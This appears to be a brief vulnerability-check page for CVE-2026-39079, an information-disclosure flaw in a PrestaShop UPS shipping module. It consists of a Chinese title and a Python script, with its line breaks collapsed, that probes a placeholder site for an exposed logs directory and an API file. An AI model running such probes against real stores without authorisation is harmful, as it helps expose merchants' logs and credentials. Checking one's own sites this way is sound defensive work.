CVE-2026-39079 PrestaShop UPS模块信息泄露漏洞

import requests # Target configuration target_url = "http://example.com" vuln_paths = [ "/modules/upsshipping/logs/", "/modules/upsshipping/lib/UPSBaseApi.php" ] print(f"[*] Checking {target_url} for CVE-2026-39079...") for path in vuln_paths: full_url = target_url + path try: response = requests.get(full_url, timeout=5) if response.status_code == 200: print(f"[+] Potential sensitive data found at: {full_url}") # Check if directory listing is enabled or file content is exposed if "Index of" in response.text or "Parent Directory" in response.text: print(" [!] Directory Listing Enabled.") elif response.status_code == 403: print(f"[-] Access forbidden (403) at: {full_url}") else: print(f"[*] Received status code {response.status_code} for: {full_url}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {full_url}: {e}")